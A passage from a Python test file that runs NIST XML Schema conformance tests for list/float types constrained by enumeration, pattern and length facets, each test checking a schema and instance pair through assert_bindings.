class_name="NistschemaSvIvListFloatEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_3_nistxml_sv_iv_list_float_enumeration_4_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-4-3.xml",
class_name="NistschemaSvIvListFloatEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_3_nistxml_sv_iv_list_float_enumeration_4_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-4-4.xml",
class_name="NistschemaSvIvListFloatEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_3_nistxml_sv_iv_list_float_enumeration_4_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-4-5.xml",
class_name="NistschemaSvIvListFloatEnumeration4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_2_nistxml_sv_iv_list_float_enumeration_3_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-3-1.xml",
class_name="NistschemaSvIvListFloatEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_2_nistxml_sv_iv_list_float_enumeration_3_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-3-2.xml",
class_name="NistschemaSvIvListFloatEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_2_nistxml_sv_iv_list_float_enumeration_3_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-3-3.xml",
class_name="NistschemaSvIvListFloatEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_2_nistxml_sv_iv_list_float_enumeration_3_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-3-4.xml",
class_name="NistschemaSvIvListFloatEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_2_nistxml_sv_iv_list_float_enumeration_3_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-3-5.xml",
class_name="NistschemaSvIvListFloatEnumeration3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_1_nistxml_sv_iv_list_float_enumeration_2_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-2-1.xml",
class_name="NistschemaSvIvListFloatEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_1_nistxml_sv_iv_list_float_enumeration_2_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-2-2.xml",
class_name="NistschemaSvIvListFloatEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_1_nistxml_sv_iv_list_float_enumeration_2_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-2-3.xml",
class_name="NistschemaSvIvListFloatEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_1_nistxml_sv_iv_list_float_enumeration_2_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-2-4.xml",
class_name="NistschemaSvIvListFloatEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_1_nistxml_sv_iv_list_float_enumeration_2_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-2-5.xml",
class_name="NistschemaSvIvListFloatEnumeration2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_nistxml_sv_iv_list_float_enumeration_1_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-1-1.xml",
class_name="NistschemaSvIvListFloatEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_nistxml_sv_iv_list_float_enumeration_1_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-1-2.xml",
class_name="NistschemaSvIvListFloatEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_nistxml_sv_iv_list_float_enumeration_1_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-1-3.xml",
class_name="NistschemaSvIvListFloatEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_nistxml_sv_iv_list_float_enumeration_1_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-1-4.xml",
class_name="NistschemaSvIvListFloatEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_enumeration_nistxml_sv_iv_list_float_enumeration_1_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-enumeration-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-enumeration-1-5.xml",
class_name="NistschemaSvIvListFloatEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_4_nistxml_sv_iv_list_float_pattern_5_1(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{3}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{6}E\d{1}
\d{1}\.\d{7}E\d{2}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-5-1.xml",
class_name="NistschemaSvIvListFloatPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_4_nistxml_sv_iv_list_float_pattern_5_2(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{3}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{6}E\d{1}
\d{1}\.\d{7}E\d{2}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-5-2.xml",
class_name="NistschemaSvIvListFloatPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_4_nistxml_sv_iv_list_float_pattern_5_3(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{3}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{6}E\d{1}
\d{1}\.\d{7}E\d{2}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-5-3.xml",
class_name="NistschemaSvIvListFloatPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_4_nistxml_sv_iv_list_float_pattern_5_4(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{3}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{6}E\d{1}
\d{1}\.\d{7}E\d{2}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-5-4.xml",
class_name="NistschemaSvIvListFloatPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_4_nistxml_sv_iv_list_float_pattern_5_5(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{3}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{6}E\d{1}
\d{1}\.\d{7}E\d{2}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-5-5.xml",
class_name="NistschemaSvIvListFloatPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_3_nistxml_sv_iv_list_float_pattern_4_1(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{7}E\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-4-1.xml",
class_name="NistschemaSvIvListFloatPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_3_nistxml_sv_iv_list_float_pattern_4_2(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{7}E\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-4-2.xml",
class_name="NistschemaSvIvListFloatPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_3_nistxml_sv_iv_list_float_pattern_4_3(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{7}E\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-4-3.xml",
class_name="NistschemaSvIvListFloatPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_3_nistxml_sv_iv_list_float_pattern_4_4(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{7}E\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-4-4.xml",
class_name="NistschemaSvIvListFloatPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_3_nistxml_sv_iv_list_float_pattern_4_5(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{7}E\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-4-5.xml",
class_name="NistschemaSvIvListFloatPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_2_nistxml_sv_iv_list_float_pattern_3_1(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{7}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-3-1.xml",
class_name="NistschemaSvIvListFloatPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_2_nistxml_sv_iv_list_float_pattern_3_2(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{7}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-3-2.xml",
class_name="NistschemaSvIvListFloatPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_2_nistxml_sv_iv_list_float_pattern_3_3(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{7}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-3-3.xml",
class_name="NistschemaSvIvListFloatPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_2_nistxml_sv_iv_list_float_pattern_3_4(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{7}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-3-4.xml",
class_name="NistschemaSvIvListFloatPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_2_nistxml_sv_iv_list_float_pattern_3_5(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{7}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-3-5.xml",
class_name="NistschemaSvIvListFloatPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_1_nistxml_sv_iv_list_float_pattern_2_1(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{6}E\d{1}
\d{1}\.\d{7}E\d{2} \d{1}E\-\d{2} \d{1}\.\d{1}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-2-1.xml",
class_name="NistschemaSvIvListFloatPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_1_nistxml_sv_iv_list_float_pattern_2_2(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{6}E\d{1}
\d{1}\.\d{7}E\d{2} \d{1}E\-\d{2} \d{1}\.\d{1}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-2-2.xml",
class_name="NistschemaSvIvListFloatPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_1_nistxml_sv_iv_list_float_pattern_2_3(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{6}E\d{1}
\d{1}\.\d{7}E\d{2} \d{1}E\-\d{2} \d{1}\.\d{1}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-2-3.xml",
class_name="NistschemaSvIvListFloatPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_1_nistxml_sv_iv_list_float_pattern_2_4(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{6}E\d{1}
\d{1}\.\d{7}E\d{2} \d{1}E\-\d{2} \d{1}\.\d{1}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-2-4.xml",
class_name="NistschemaSvIvListFloatPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_1_nistxml_sv_iv_list_float_pattern_2_5(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{4}E\-\d{2} \d{1}\.\d{5}E\-\d{1} \d{1}\.\d{6}E\d{1}
\d{1}\.\d{7}E\d{2} \d{1}E\-\d{2} \d{1}\.\d{1}E\-\d{1}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-2-5.xml",
class_name="NistschemaSvIvListFloatPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_nistxml_sv_iv_list_float_pattern_1_1(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{7}E\-\d{2}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-1-1.xml",
class_name="NistschemaSvIvListFloatPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_nistxml_sv_iv_list_float_pattern_1_2(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{7}E\-\d{2}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-1-2.xml",
class_name="NistschemaSvIvListFloatPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_nistxml_sv_iv_list_float_pattern_1_3(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{7}E\-\d{2}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-1-3.xml",
class_name="NistschemaSvIvListFloatPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_nistxml_sv_iv_list_float_pattern_1_4(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{7}E\-\d{2}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-1-4.xml",
class_name="NistschemaSvIvListFloatPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_pattern_nistxml_sv_iv_list_float_pattern_1_5(mode, save_output, output_format):
r"""
Type list/float is restricted by facet pattern with value
\d{1}E\-\d{2} \.\d{2}E\-\d{1} \d{1}\.\d{2}E\d{1} \d{1}\.\d{3}E\d{2}
\d{1}\.\d{7}E\-\d{2}.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-pattern-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-pattern-1-5.xml",
class_name="NistschemaSvIvListFloatPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_4_nistxml_sv_iv_list_float_length_5_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-5-1.xml",
class_name="NistschemaSvIvListFloatLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_4_nistxml_sv_iv_list_float_length_5_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-5-2.xml",
class_name="NistschemaSvIvListFloatLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_4_nistxml_sv_iv_list_float_length_5_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-5-3.xml",
class_name="NistschemaSvIvListFloatLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_4_nistxml_sv_iv_list_float_length_5_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-5-4.xml",
class_name="NistschemaSvIvListFloatLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_4_nistxml_sv_iv_list_float_length_5_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-5-5.xml",
class_name="NistschemaSvIvListFloatLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_3_nistxml_sv_iv_list_float_length_4_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-4.xsd",
